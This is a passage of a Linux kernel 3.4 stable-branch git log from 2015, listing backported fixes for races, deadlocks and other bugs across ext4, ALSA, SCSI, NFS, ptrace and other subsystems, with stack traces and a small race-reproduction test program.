    Acked-by: Arnd Bergmann <arnd@arndb.de>
    Signed-off-by: Zefan Li <lizefan@huawei.com>

commit 0c797892cfa290d60a425d863962d285801fee8b
Author: Davide Italiano <dccitaliano@gmail.com>
Date:   Sat May 2 23:21:15 2015 -0400

    ext4: move check under lock scope to close a race.
    
    commit 280227a75b56ab5d35854f3a77ef74a7ad56a203 upstream.
    
    fallocate() checks that the file is extent-based and returns
    EOPNOTSUPP in case is not. Other tasks can convert from and to
    indirect and extent so it's safe to check only after grabbing
    the inode mutex.
    
    Signed-off-by: Davide Italiano <dccitaliano@gmail.com>
    Signed-off-by: Theodore Ts'o <tytso@mit.edu>
    [lizf: Backported to 3.4:
     - adjust context
     - return -EOPNOTSUPP instead of jumping to the "out" label]
    Signed-off-by: Zefan Li <lizefan@huawei.com>

commit c79a54264db288e0fc221a4f39981feea15447ab
Author: Nathan Fontenot <nfont@linux.vnet.ibm.com>
Date:   Wed Apr 29 20:42:06 2015 -0500

    powerpc/pseries: Correct cpu affinity for dlpar added cpus
    
    commit f32393c943e297b8ae180c8f83d81a156c7d0412 upstream.
    
    The incorrect ordering of operations during cpu dlpar add results in invalid
    affinity for the cpu being added. The ibm,associativity property in the
    device tree is populated with all zeroes for the added cpu which results in
    invalid affinity mappings and all cpus appear to belong to node 0.
    
    This occurs because rtas configure-connector is called prior to making the
    rtas set-indicator calls. Phyp does not assign affinity information
    for a cpu until the rtas set-indicator calls are made to set the isolation
    and allocation state.
    
    Correct the order of operations to make the rtas set-indicator
    calls (done in dlpar_acquire_drc) before calling rtas configure-connector.
    
    Fixes: 1a8061c46c46 ("powerpc/pseries: Add kernel based CPU DLPAR handling")
    
    Signed-off-by: Nathan Fontenot <nfont@linux.vnet.ibm.com>
    Signed-off-by: Michael Ellerman <mpe@ellerman.id.au>
    [lizf: Backported to 3.4:
     - adjust context
     - jump to the "out" lable instead of returning -EINVAL]
    Signed-off-by: Zefan Li <lizefan@huawei.com>

commit 9ae05197286d9cb7abb25c9d397d500e5fa8a9e2
Author: Peter Zubaj <pzubaj@marticonet.sk>
Date:   Tue Apr 28 21:57:29 2015 +0200

    ALSA: emu10k1: Emu10k2 32 bit DMA mode
    
    commit 7241ea558c6715501e777396b5fc312c372e11d9 upstream.
    
    Looks like audigy emu10k2 (probably emu10k1 - sb live too) support two
    modes for DMA. Second mode is useful for 64 bit os with more then 2 GB
    of ram (fixes problems with big soundfont loading)
    
    1) 32MB from 2 GB address space using 8192 pages (used now as default)
    2) 16MB from 4 GB address space using 4096 pages
    
    Mode is set using HCFG_EXPANDED_MEM flag in HCFG register.
    Also format of emu10k2 page table is then different.
    
    Signed-off-by: Peter Zubaj <pzubaj@marticonet.sk>
    Tested-by: Takashi Iwai <tiwai@suse.de>
    Signed-off-by: Takashi Iwai <tiwai@suse.de>
    Signed-off-by: Zefan Li <lizefan@huawei.com>

commit dbaa20e3925c0105df964131df9702713cb79ae2
Author: Takashi Iwai <tiwai@suse.de>
Date:   Tue Apr 28 17:11:44 2015 +0200

    ALSA: emux: Fix mutex deadlock in OSS emulation
    
    commit 1c94e65c668f44d2c69ae7e7fc268ab3268fba3e upstream.
    
    The OSS emulation in synth-emux helper has a potential AB/BA deadlock
    at the simultaneous closing and opening:
    
      close ->
        snd_seq_release() ->
          sne_seq_free_client() ->
            snd_seq_delete_all_ports(): takes client->ports_mutex ->
    	  port_delete() ->
    	    snd_emux_unuse(): takes emux->register_mutex
    
      open ->
        snd_seq_oss_open() ->
          snd_emux_open_seq_oss(): takes emux->register_mutex ->
            snd_seq_event_port_attach() ->
    	  snd_seq_create_port(): takes client->ports_mutex
    
    This patch addresses the deadlock by reducing the rance taking
    emux->register_mutex in snd_emux_open_seq_oss().  The lock is needed
    for the refcount handling, so move it locally.  The calls in
    emux_seq.c are already with the mutex, thus they are replaced with the
    version without mutex lock/unlock.
    
    Signed-off-by: Takashi Iwai <tiwai@suse.de>
    Signed-off-by: Zefan Li <lizefan@huawei.com>

commit 475aba9aea0a8f58a4fcdb7b5307fdae3f899d09
Author: Michal Simek <michal.simek@xilinx.com>
Date:   Tue Apr 14 12:03:09 2015 +0200

    serial: of-serial: Remove device_type = "serial" registration
    
    commit 6befa9d883385c580369a2cc9e53fbf329771f6d upstream.
    
    Do not probe all serial drivers by of_serial.c which are using
    device_type = "serial"; property. Only drivers which have valid
    compatible strings listed in the driver should be probed.
    
    When PORT_UNKNOWN is setup probe will fail anyway.
    
    Arnd quotation about driver historical background:
    "when I wrote that driver initially, the idea was that it would
    get used as a stub to hook up all other serial drivers but after
    that, the common code learned to create platform devices from DT"
    
    This patch fix the problem with on the system with xilinx_uartps and
    16550a where of_serial failed to register for xilinx_uartps and because
    of irq_dispose_mapping() removed irq_desc. Then when xilinx_uartps was asking
    for irq with request_irq() EINVAL is returned.
    
    Signed-off-by: Michal Simek <michal.simek@xilinx.com>
    Acked-by: Arnd Bergmann <arnd@arndb.de>
    Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
    Signed-off-by: Zefan Li <lizefan@huawei.com>

commit 9aabcbc013b7bf3d519ab703456ee1869eac198c
Author: Michal Simek <michal.simek@xilinx.com>
Date:   Mon Apr 13 16:34:21 2015 +0200

    serial: xilinx: Use platform_get_irq to get irq description structure
    
    commit 5c90c07b98c02198d9777a7c4f3047b0a94bf7ed upstream.
    
    For systems with CONFIG_SERIAL_OF_PLATFORM=y and device_type =
    "serial"; property in DT of_serial.c driver maps and unmaps IRQ (because
    driver probe fails). Then a driver is called but irq mapping is not
    created that's why driver is failing again in again on request_irq().
    Based on this use platform_get_irq() instead of platform_get_resource()
    which is doing irq_desc allocation and driver itself can request IRQ.
    
    Fix both xilinx serial drivers in the tree.
    
    Signed-off-by: Michal Simek <michal.simek@xilinx.com>
    Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
    [lizf: Backported to 3.4: adjust context]
    Signed-off-by: Zefan Li <lizefan@huawei.com>

commit c2f1b991709c18f31fa3c1c948ac73bd56f4882a
Author: Christoph Hellwig <hch@lst.de>
Date:   Thu Apr 23 09:48:51 2015 +0200

    3w-9xxx: fix command completion race
    
    commit 118c855b5623f3e2e6204f02623d88c09e0c34de upstream.
    
    The 3w-9xxx driver needs to tear down the dma mappings before returning
    the command to the midlayer, as there is no guarantee the sglist and
    count are valid after that point.  Also remove the dma mapping helpers
    which have another inherent race due to the request_id index.
    
    Signed-off-by: Christoph Hellwig <hch@lst.de>
    Acked-by: Adam Radford <aradford@gmail.com>
    Signed-off-by: James Bottomley <JBottomley@Odin.com>
    Signed-off-by: Zefan Li <lizefan@huawei.com>

commit 4d5e62fd67336f7d50aba82914d0e237d248e633
Author: Christoph Hellwig <hch@lst.de>
Date:   Thu Apr 23 09:48:50 2015 +0200

    3w-xxxx: fix command completion race
    
    commit 9cd9554615cba14f0877cc9972a6537ad2bdde61 upstream.
    
    The 3w-xxxx driver needs to tear down the dma mappings before returning
    the command to the midlayer, as there is no guarantee the sglist and
    count are valid after that point.  Also remove the dma mapping helpers
    which have another inherent race due to the request_id index.
    
    Signed-off-by: Christoph Hellwig <hch@lst.de>
    Acked-by: Adam Radford <aradford@gmail.com>
    Signed-off-by: James Bottomley <JBottomley@Odin.com>
    Signed-off-by: Zefan Li <lizefan@huawei.com>

commit e456c24edd39485e1542173343e3cb53d505c612
Author: Christoph Hellwig <hch@lst.de>
Date:   Thu Apr 23 09:48:49 2015 +0200

    3w-sas: fix command completion race
    
    commit 579d69bc1fd56d5af5761969aa529d1d1c188300 upstream.
    
    The 3w-sas driver needs to tear down the dma mappings before returning
    the command to the midlayer, as there is no guarantee the sglist and
    count are valid after that point.  Also remove the dma mapping helpers
    which have another inherent race due to the request_id index.
    
    Signed-off-by: Christoph Hellwig <hch@lst.de>
    Reported-by: Torsten Luettgert <ml-lkml@enda.eu>
    Tested-by: Bernd Kardatzki <Bernd.Kardatzki@med.uni-tuebingen.de>
    Acked-by: Adam Radford <aradford@gmail.com>
    Signed-off-by: James Bottomley <JBottomley@Odin.com>
    Signed-off-by: Zefan Li <lizefan@huawei.com>

commit 3fe48d0393d88d12a524a928d10c61cd0d446523
Author: Mike Christie <michaelc@cs.wisc.edu>
Date:   Mon Apr 20 22:42:24 2015 -0500

    SCSI: add 1024 max sectors black list flag
    
    commit 35e9a9f93994d7f7d12afa41169c7ba05513721b upstream.
    
    This works around a issue with qnap iscsi targets not handling large IOs
    very well.
    
    The target returns:
    
    VPD INQUIRY: Block limits page (SBC)
      Maximum compare and write length: 1 blocks
      Optimal transfer length granularity: 1 blocks
      Maximum transfer length: 4294967295 blocks
      Optimal transfer length: 4294967295 blocks
      Maximum prefetch, xdread, xdwrite transfer length: 0 blocks
      Maximum unmap LBA count: 8388607
      Maximum unmap block descriptor count: 1
      Optimal unmap granularity: 16383
      Unmap granularity alignment valid: 0
      Unmap granularity alignment: 0
      Maximum write same length: 0xffffffff blocks
      Maximum atomic transfer length: 0
      Atomic alignment: 0
      Atomic transfer length granularity: 0
    
    and it is *sometimes* able to handle at least one IO of size up to 8 MB. We
    have seen in traces where it will sometimes work, but other times it
    looks like it fails and it looks like it returns failures if we send
    multiple large IOs sometimes. Also it looks like it can return 2 different
    errors. It will sometimes send iscsi reject errors indicating out of
    resources or it will send invalid cdb illegal requests check conditions.
    And then when it sends iscsi rejects it does not seem to handle retries
    when there are command sequence holes, so I could not just add code to
    try and gracefully handle that error code.
    
    The problem is that we do not have a good contact for the company,
    so we are not able to determine under what conditions it returns
    which error and why it sometimes works.
    
    So, this patch just adds a new black list flag to set targets like this to
    the old max safe sectors of 1024. The max_hw_sectors changes added in 3.19
    caused this regression, so I also ccing stable.
    
    Reported-by: Christian Hesse <list@eworm.de>
    Signed-off-by: Mike Christie <michaelc@cs.wisc.edu>
    Reviewed-by: Christoph Hellwig <hch@lst.de>
    Signed-off-by: James Bottomley <JBottomley@Odin.com>
    [lizf: Backported to 3.4: adjust context]
    Signed-off-by: Zefan Li <lizefan@huawei.com>

commit 961bd13539b9e7ca5d2e667668141496b7a1d6bc
Author: Michel Dänzer <michel.daenzer@amd.com>
Date:   Thu Apr 16 11:17:27 2015 +0900

    drm/radeon: Use drm_calloc_ab for CS relocs
    
    commit b421ed15d2c3039eb724680e4de1e4b2bd196a9a upstream.
    
    The number of relocs is passed in by userspace and can be large. It has
    been observed to cause kcalloc failures in the wild.
    
    Reviewed-by: Christian König <christian.koenig@amd.com>
    Signed-off-by: Michel Dänzer <michel.daenzer@amd.com>
    Signed-off-by: Alex Deucher <alexander.deucher@amd.com>
    [lizf: Backported to 3.4: adjust context]
    Signed-off-by: Zefan Li <lizefan@huawei.com>

commit 0243c10d3341502b3653b71abfe7b4da068a2a02
Author: Takashi Iwai <tiwai@suse.de>
Date:   Mon Apr 27 14:50:39 2015 +0200

    ALSA: emux: Fix mutex deadlock at unloading
    
    commit 07b0e5d49d227e3950cb13a3e8caf248ef2a310e upstream.
    
    The emux-synth driver has a possible AB/BA mutex deadlock at unloading
    the emu10k1 driver:
    
      snd_emux_free() ->
        snd_emux_detach_seq(): mutex_lock(&emu->register_mutex) ->
          snd_seq_delete_kernel_client() ->
            snd_seq_free_client(): mutex_lock(&register_mutex)
    
      snd_seq_release() ->
        snd_seq_free_client(): mutex_lock(&register_mutex) ->
          snd_seq_delete_all_ports() ->
            snd_emux_unuse(): mutex_lock(&emu->register_mutex)
    
    Basically snd_emux_detach_seq() doesn't need a protection of
    emu->register_mutex as it's already being unregistered.  So, we can
    get rid of this for avoiding the deadlock.
    
    Signed-off-by: Takashi Iwai <tiwai@suse.de>
    Signed-off-by: Zefan Li <lizefan@huawei.com>

commit 96a987dfe32ffe562be8876392d0539437b0d780
Author: Takashi Iwai <tiwai@suse.de>
Date:   Mon Apr 27 13:00:09 2015 +0200

    ALSA: emu10k1: Fix card shortname string buffer overflow
    
    commit d02260824e2cad626fb2a9d62e27006d34b6dedc upstream.
    
    Some models provide too long string for the shortname that has 32bytes
    including the terminator, and it results in a non-terminated string
    exposed to the user-space.  This isn't too critical, though, as the
    string is stopped at the succeeding longname string.
    
    This patch fixes such entries by dropping "SB" prefix (it's enough to
    fit within 32 bytes, so far).  Meanwhile, it also changes strcpy()
    with strlcpy() to make sure that this kind of problem won't happen in
    future, too.
    
    Signed-off-by: Takashi Iwai <tiwai@suse.de>
    Signed-off-by: Zefan Li <lizefan@huawei.com>

commit e35facb7a9bb47ba4335b14cb73f079b7cf5b25d
Author: Takashi Iwai <tiwai@suse.de>
Date:   Mon Apr 27 10:36:11 2015 +0200

    ALSA: hda - Fix mute-LED fixed mode
    
    commit ee52e56e7b12834476cd0031c5986254ba1b6317 upstream.
    
    The mute-LED mode control has the fixed on/off states that are
    supposed to remain on/off regardless of the master switch.  However,
    this doesn't work actually because the vmaster hook is called in the
    vmaster code itself.
    
    This patch fixes it by calling the hook indirectly after checking the
    mute LED mode.
    
    Reported-and-tested-by: Pali Rohár <pali.rohar@gmail.com>
    Signed-off-by: Takashi Iwai <tiwai@suse.de>
    Signed-off-by: Zefan Li <lizefan@huawei.com>

commit a26f33c50cb736da55437cef761d48d72fe89d3e
Author: Al Viro <viro@zeniv.linux.org.uk>
Date:   Fri Apr 24 15:47:07 2015 -0400

    RCU pathwalk breakage when running into a symlink overmounting something
    
    commit 3cab989afd8d8d1bc3d99fef0e7ed87c31e7b647 upstream.
    
    Calling unlazy_walk() in walk_component() and do_last() when we find
    a symlink that needs to be followed doesn't acquire a reference to vfsmount.
    That's fine when the symlink is on the same vfsmount as the parent directory
    (which is almost always the case), but it's not always true - one _can_
    manage to bind a symlink on top of something.  And in such cases we end up
    with excessive mntput().
    
    Signed-off-by: Al Viro <viro@zeniv.linux.org.uk>
    [lizf: Backported to 3.4: drop the changes to do_last()]
    Signed-off-by: Zefan Li <lizefan@huawei.com>

commit 20db578815361ac06fca1c03ef555324f00111d0
Author: Jeff Layton <jlayton@poochiereds.net>
Date:   Fri Mar 20 15:15:14 2015 -0400

    nfs: fix high load average due to callback thread sleeping
    
    commit 5d05e54af3cdbb13cf19c557ff2184781b91a22c upstream.
    
    Chuck pointed out a problem that crept in with commit 6ffa30d3f734 (nfs:
    don't call blocking operations while !TASK_RUNNING). Linux counts tasks
    in uninterruptible sleep against the load average, so this caused the
    system's load average to be pinned at at least 1 when there was a
    NFSv4.1+ mount active.
    
    Not a huge problem, but it's probably worth fixing before we get too
    many complaints about it. This patch converts the code back to use
    TASK_INTERRUPTIBLE sleep, simply has it flush any signals on each loop
    iteration. In practice no one should really be signalling this thread at
    all, so I think this is reasonably safe.
    
    With this change, there's also no need to game the hung task watchdog so
    we can also convert the schedule_timeout call back to a normal schedule.
    
    Reported-by: Chuck Lever <chuck.lever@oracle.com>
    Signed-off-by: Jeff Layton <jeff.layton@primarydata.com>
    Tested-by: Chuck Lever <chuck.lever@oracle.com>
    Fixes: commit 6ffa30d3f734 (“nfs: don't call blocking . . .”)
    Signed-off-by: Trond Myklebust <trond.myklebust@primarydata.com>
    [lizf: Backported to 3.4: adjust context]
    Signed-off-by: Zefan Li <lizefan@huawei.com>

commit c9e5b3b7e731d070f5a95362281ea49718eb434d
Author: Jeff Layton <jlayton@primarydata.com>
Date:   Wed Jan 14 13:08:57 2015 -0500

    nfs: don't call blocking operations while !TASK_RUNNING
    
    commit 6ffa30d3f734d4f6b478081dfc09592021028f90 upstream.
    
    Bruce reported seeing this warning pop when mounting using v4.1:
    
         ------------[ cut here ]------------
         WARNING: CPU: 1 PID: 1121 at kernel/sched/core.c:7300 __might_sleep+0xbd/0xd0()
        do not call blocking ops when !TASK_RUNNING; state=1 set at [<ffffffff810ff58f>] prepare_to_wait+0x2f/0x90
        Modules linked in: rpcsec_gss_krb5 auth_rpcgss nfsv4 dns_resolver nfs lockd grace sunrpc fscache ip6t_rpfilter ip6t_REJECT nf_reject_ipv6 xt_conntrack ebtable_nat ebtable_broute bridge stp llc ebtable_filter ebtables ip6table_nat nf_conntrack_ipv6 nf_defrag_ipv6 nf_nat_ipv6 ip6table_mangle ip6table_security ip6table_raw ip6table_filter ip6_tables iptable_nat nf_conntrack_ipv4 nf_defrag_ipv4 nf_nat_ipv4 nf_nat nf_conntrack iptable_mangle iptable_security iptable_raw snd_hda_codec_generic snd_hda_intel snd_hda_controller snd_hda_codec snd_hwdep snd_pcm snd_timer ppdev joydev snd virtio_console virtio_balloon pcspkr serio_raw parport_pc parport pvpanic floppy soundcore i2c_piix4 virtio_blk virtio_net qxl drm_kms_helper ttm drm virtio_pci virtio_ring ata_generic virtio pata_acpi
        CPU: 1 PID: 1121 Comm: nfsv4.1-svc Not tainted 3.19.0-rc4+ #25
        Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 1.7.5-20140709_153950- 04/01/2014
         0000000000000000 000000004e5e3f73 ffff8800b998fb48 ffffffff8186ac78
         0000000000000000 ffff8800b998fba0 ffff8800b998fb88 ffffffff810ac9da
         ffff8800b998fb68 ffffffff81c923e7 00000000000004d9 0000000000000000
        Call Trace:
         [<ffffffff8186ac78>] dump_stack+0x4c/0x65
         [<ffffffff810ac9da>] warn_slowpath_common+0x8a/0xc0
         [<ffffffff810aca65>] warn_slowpath_fmt+0x55/0x70
         [<ffffffff810ff58f>] ? prepare_to_wait+0x2f/0x90
         [<ffffffff810ff58f>] ? prepare_to_wait+0x2f/0x90
         [<ffffffff810dd2ad>] __might_sleep+0xbd/0xd0
         [<ffffffff8124c973>] kmem_cache_alloc_trace+0x243/0x430
         [<ffffffff810d941e>] ? groups_alloc+0x3e/0x130
         [<ffffffff810d941e>] groups_alloc+0x3e/0x130
         [<ffffffffa0301b1e>] svcauth_unix_accept+0x16e/0x290 [sunrpc]
         [<ffffffffa0300571>] svc_authenticate+0xe1/0xf0 [sunrpc]
         [<ffffffffa02fc564>] svc_process_common+0x244/0x6a0 [sunrpc]
         [<ffffffffa02fd044>] bc_svc_process+0x1c4/0x260 [sunrpc]
         [<ffffffffa03d5478>] nfs41_callback_svc+0x128/0x1f0 [nfsv4]
         [<ffffffff810ff970>] ? wait_woken+0xc0/0xc0
         [<ffffffffa03d5350>] ? nfs4_callback_svc+0x60/0x60 [nfsv4]
         [<ffffffff810d45bf>] kthread+0x11f/0x140
         [<ffffffff810ea815>] ? local_clock+0x15/0x30
         [<ffffffff810d44a0>] ? kthread_create_on_node+0x250/0x250
         [<ffffffff81874bfc>] ret_from_fork+0x7c/0xb0
         [<ffffffff810d44a0>] ? kthread_create_on_node+0x250/0x250
        ---[ end trace 675220a11e30f4f2 ]---
    
    nfs41_callback_svc does most of its work while in TASK_INTERRUPTIBLE,
    which is just wrong. Fix that by finishing the wait immediately if we've
    found that the list has something on it.
    
    Also, we don't expect this kthread to accept signals, so we should be
    using a TASK_UNINTERRUPTIBLE sleep instead. That however, opens us up
    hung task warnings from the watchdog, so have the schedule_timeout
    wake up every 60s if there's no callback activity.
    
    Reported-by: "J. Bruce Fields" <bfields@fieldses.org>
    Signed-off-by: Jeff Layton <jlayton@primarydata.com>
    Signed-off-by: Trond Myklebust <trond.myklebust@primarydata.com>
    [lizf: Backported to 3.4: adjust context]
    Signed-off-by: Zefan Li <lizefan@huawei.com>

commit c15158153494485de5baba3ee7c1b2e6ce946a76
Author: Giuseppe Cantavenera <giuseppe.cantavenera.ext@nokia.com>
Date:   Mon Apr 20 18:00:08 2015 +0200

    nfsd: fix nsfd startup race triggering BUG_ON
    
    commit bb7ffbf29e76b89a86ca4c3ee0d4690641f2f772 upstream.
    
    nfsd triggered a BUG_ON in net_generic(...) when rpc_pipefs_event(...)
    in fs/nfsd/nfs4recover.c was called before assigning ntfsd_net_id.
    The following was observed on a MIPS 32-core processor:
    kernel: Call Trace:
    kernel: [<ffffffffc00bc5e4>] rpc_pipefs_event+0x7c/0x158 [nfsd]
    kernel: [<ffffffff8017a2a0>] notifier_call_chain+0x70/0xb8
    kernel: [<ffffffff8017a4e4>] __blocking_notifier_call_chain+0x4c/0x70
    kernel: [<ffffffff8053aff8>] rpc_fill_super+0xf8/0x1a0
    kernel: [<ffffffff8022204c>] mount_ns+0xb4/0xf0
    kernel: [<ffffffff80222b48>] mount_fs+0x50/0x1f8
    kernel: [<ffffffff8023dc00>] vfs_kern_mount+0x58/0xf0
    kernel: [<ffffffff802404ac>] do_mount+0x27c/0xa28
    kernel: [<ffffffff80240cf0>] SyS_mount+0x98/0xe8
    kernel: [<ffffffff80135d24>] handle_sys64+0x44/0x68
    kernel:
    kernel:
            Code: 0040f809  00000000  2e020001 <00020336> 3c12c00d
                    3c02801a  de100000 6442eb98  0040f809
    kernel: ---[ end trace 7471374335809536 ]---
    
    Fixed this behaviour by calling register_pernet_subsys(&nfsd_net_ops) before
    registering rpc_pipefs_event(...) with the notifier chain.
    
    Signed-off-by: Giuseppe Cantavenera <giuseppe.cantavenera.ext@nokia.com>
    Signed-off-by: Lorenzo Restelli <lorenzo.restelli.ext@nokia.com>
    Reviewed-by: Kinlong Mee <kinglongmee@gmail.com>
    Signed-off-by: J. Bruce Fields <bfields@redhat.com>
    [lizf: Backported to 3.4: adjust context]
    Signed-off-by: Zefan Li <lizefan@huawei.com>

commit 4897576f6dd988ccdf4a0923e0e626fdc6e5f690
Author: Dan Carpenter <dan.carpenter@oracle.com>
Date:   Thu Apr 16 12:48:35 2015 -0700

    memstick: mspro_block: add missing curly braces
    
    commit 13f6b191aaa11c7fd718d35a0c565f3c16bc1d99 upstream.
    
    Using the indenting we can see the curly braces were obviously intended.
    This is a static checker fix, but my guess is that we don't read enough
    bytes, because we don't calculate "t_len" correctly.
    
    Fixes: f1d82698029b ('memstick: use fully asynchronous request processing')
    Signed-off-by: Dan Carpenter <dan.carpenter@oracle.com>
    Cc: Alex Dubov <oakad@yahoo.com>
    Signed-off-by: Andrew Morton <akpm@linux-foundation.org>
    Signed-off-by: Linus Torvalds <torvalds@linux-foundation.org>
    Signed-off-by: Zefan Li <lizefan@huawei.com>

commit a12cb100975637baf203b140ffc56057b29bdb86
Author: Oleg Nesterov <oleg@redhat.com>
Date:   Thu Apr 16 12:47:29 2015 -0700

    ptrace: fix race between ptrace_resume() and wait_task_stopped()
    
    commit b72c186999e689cb0b055ab1c7b3cd8fffbeb5ed upstream.
    
    ptrace_resume() is called when the tracee is still __TASK_TRACED.  We set
    tracee->exit_code and then wake_up_state() changes tracee->state.  If the
    tracer's sub-thread does wait() in between, task_stopped_code(ptrace => T)
    wrongly looks like another report from tracee.
    
    This confuses debugger, and since wait_task_stopped() clears ->exit_code
    the tracee can miss a signal.
    
    Test-case:
    
    	#include <stdio.h>
    	#include <unistd.h>
    	#include <sys/wait.h>
    	#include <sys/ptrace.h>
    	#include <pthread.h>
    	#include <assert.h>
    
    	int pid;
    
    	void *waiter(void *arg)
    	{
    		int stat;
    
    		for (;;) {
    			assert(pid == wait(&stat));
    			assert(WIFSTOPPED(stat));
    			if (WSTOPSIG(stat) == SIGHUP)
    				continue;
    
    			assert(WSTOPSIG(stat) == SIGCONT);
    			printf("ERR! extra/wrong report:%x\n", stat);
    		}
    	}
    
    	int main(void)
    	{
    		pthread_t thread;
    
    		pid = fork();
    		if (!pid) {
    			assert(ptrace(PTRACE_TRACEME, 0,0,0) == 0);
    			for (;;)
    				kill(getpid(), SIGHUP);
    		}
    
    		assert(pthread_create(&thread, NULL, waiter, NULL) == 0);
    
    		for (;;)
    			ptrace(PTRACE_CONT, pid, 0, SIGCONT);
    
    		return 0;
    	}
    
    Note for stable: the bug is very old, but without 9899d11f6544 "ptrace:
    ensure arch_ptrace/ptrace_request can never race with SIGKILL" the fix
    should use lock_task_sighand(child).
    
    Signed-off-by: Oleg Nesterov <oleg@redhat.com>
    Reported-by: Pavel Labath <labath@google.com>
    Tested-by: Pavel Labath <labath@google.com>
    Signed-off-by: Andrew Morton <akpm@linux-foundation.org>
    Signed-off-by: Linus Torvalds <torvalds@linux-foundation.org>
    Signed-off-by: Zefan Li <lizefan@huawei.com>

commit 241cb82322f19f3194946cddfbb4a21c43f04e1b
Author: Nicolas Iooss <nicolas.iooss_linux@m4x.org>
Date:   Thu Apr 16 12:44:02 2015 -0700

    firmware/ihex2fw.c: restore missing default in switch statement
    
    commit d43698e8abb58a6ac47d16e0f47bb55f452e4fc4 upstream.
    
    Commit 2473238eac95 ("ihex: add support for CS:IP/EIP records") removes
    the "default:" statement in the switch block, making the "return
    usage();" line dead code and ihex2fw silently ignoring unknown options.
    Restore this statement.
    
    This bug was found by building with HOSTCC=clang and adding
    -Wunreachable-code-return to HOSTCFLAGS.
    
    Fixes: 2473238eac95 ("ihex: add support for CS:IP/EIP records")
    Signed-off-by: Nicolas Iooss <nicolas.iooss_linux@m4x.org>
    Cc: Mark Brown <broonie@opensource.wolfsonmicro.com>
    Cc: David Woodhouse <dwmw2@infradead.org>
    Signed-off-by: Andrew Morton <akpm@linux-foundation.org>
    Signed-off-by: Linus Torvalds <torvalds@linux-foundation.org>
    Signed-off-by: Zefan Li <lizefan@huawei.com>

commit b7cecd38cf317ef27a698a2c5ab876f9f01ca290
Author: Christoph Hellwig <hch@infradead.org>
Date:   Wed Apr 15 09:44:37 2015 -0700

    megaraid_sas: use raw_smp_processor_id()
    
    commit 16b8528d20607925899b1df93bfd8fbab98d267c upstream.
    
    We only want to steer the I/O completion towards a queue, but don't
    actually access any per-CPU data, so the raw_ version is fine to use
    and avoids the warnings when using smp_processor_id().
    
    Signed-off-by: Christoph Hellwig <hch@lst.de>
    Reported-by: Andy Lutomirski <luto@kernel.org>
    Tested-by: Andy Lutomirski <luto@kernel.org>
    Acked-by: Sumit Saxena <sumit.saxena@avagotech.com>
    Signed-off-by: James Bottomley <JBottomley@Odin.com>
    [lizf: Backported to 3.4: drop the changes to megasas_build_dcdb_fusion()]
    Signed-off-by: Zefan Li <lizefan@huawei.com>

commit b0772ad6130eae4b2d2ba585b34ffbd03dd264af
Author: Erez Shitrit <erezsh@mellanox.com>
Date:   Thu Apr 2 13:39:05 2015 +0300

    IB/mlx4: Fix WQE LSO segment calculation
    
    commit ca9b590caa17bcbbea119594992666e96cde9c2f upstream.
    
    The current code decreases from the mss size (which is the gso_size
    from the kernel skb) the size of the packet headers.
    
    It shouldn't do that because the mss that comes from the stack
    (e.g IPoIB) includes only the tcp payload without the headers.
    
    The result is indication to the HW that each packet that the HW sends
    is smaller than what it could be, and too many packets will be sent
    for big messages.
    
    An easy way to demonstrate one more aspect of the problem is by
    configuring the ipoib mtu to be less than 2*hlen (2*56) and then
    run app sending big TCP messages. This will tell the HW to send packets
    with giant (negative value which under unsigned arithmetics becomes
    a huge positive one) length and the QP moves to SQE state.
    
    Fixes: b832be1e4007 ('IB/mlx4: Add IPoIB LSO support')
    Reported-by: Matthew Finlay <matt@mellanox.com>
    Signed-off-by: Erez Shitrit <erezsh@mellanox.com>
    Signed-off-by: Or Gerlitz <ogerlitz@mellanox.com>
    Signed-off-by: Doug Ledford <dledford@redhat.com>
    Signed-off-by: Zefan Li <lizefan@huawei.com>

commit c5498948d90154adc104fd3cdec65ba4ff6a7a74
Author: Yann Droneaud <ydroneaud@opteya.com>
Date:   Mon Apr 13 14:56:22 2015 +0200

    IB/core: disallow registering 0-sized memory region
    
    commit 8abaae62f3fdead8f4ce0ab46b4ab93dee39bab2 upstream.
    
    If ib_umem_get() is called with a size equal to 0 and an
    non-page aligned address, one page will be pinned and a
    0-sized umem will be returned to the caller.
    
    This should not be allowed: it's not expected for a memory
    region to have a size equal to 0.
    
    This patch adds a check to explicitly refuse to register
    a 0-sized region.
    
    Link: http://mid.gmane.org/cover.1428929103.git.ydroneaud@opteya.com
    Cc: Shachar Raindel <raindel@mellanox.com>
    Cc: Jack Morgenstein <jackm@mellanox.com>
    Cc: Or Gerlitz <ogerlitz@mellanox.com>
    Signed-off-by: Yann Droneaud <ydroneaud@opteya.com>
    Signed-off-by: Doug Ledford <dledford@redhat.com>
    Signed-off-by: Zefan Li <lizefan@huawei.com>

commit ebcf545d8455d64e1935ba4a6c2bad15a246c9f0
Author: Ben Collins <ben.c@servergy.com>
Date:   Fri Apr 3 16:09:46 2015 +0000

    dm crypt: fix deadlock when async crypto algorithm returns -EBUSY
    
    commit 0618764cb25f6fa9fb31152995de42a8a0496475 upstream.
    
    I suspect this doesn't show up for most anyone because software
    algorithms typically don't have a sense of being too busy.  However,
    when working with the Freescale CAAM driver it will return -EBUSY on
    occasion under heavy -- which resulted in dm-crypt deadlock.
    
    After checking the logic in some other drivers, the scheme for
    crypt_convert() and it's callback, kcryptd_async_done(), were not
    correctly laid out to properly handle -EBUSY or -EINPROGRESS.
    
    Fix this by using the completion for both -EBUSY and -EINPROGRESS.  Now
    crypt_convert()'s use of completion is comparable to
    af_alg_wait_for_completion().  Similarly, kcryptd_async_done() follows
    the pattern used in af_alg_complete().
    
    Before this fix dm-crypt would lockup within 1-2 minutes running with
    the CAAM driver.  Fix was regression tested against software algorithms
    on PPC32 and x86_64, and things seem perfectly happy there as well.
    
    Signed-off-by: Ben Collins <ben.c@servergy.com>
    Signed-off-by: Mike Snitzer <snitzer@redhat.com>
    [lizf: Backported to 3.4: adjust context]
    Signed-off-by: Zefan Li <lizefan@huawei.com>

commit a425d56c870dcd1273f46391c038289f420fc884
Author: Michael Davidson <md@google.com>
Date:   Tue Apr 14 15:47:38 2015 -0700

    fs/binfmt_elf.c: fix bug in loading of PIE binaries
    
    commit a87938b2e246b81b4fb713edb371a9fa3c5c3c86 upstream.
    
    With CONFIG_ARCH_BINFMT_ELF_RANDOMIZE_PIE enabled, and a normal top-down
    address allocation strategy, load_elf_binary() will attempt to map a PIE
    binary into an address range immediately below mm->mmap_base.
    
    Unfortunately, load_elf_ binary() does not take account of the need to
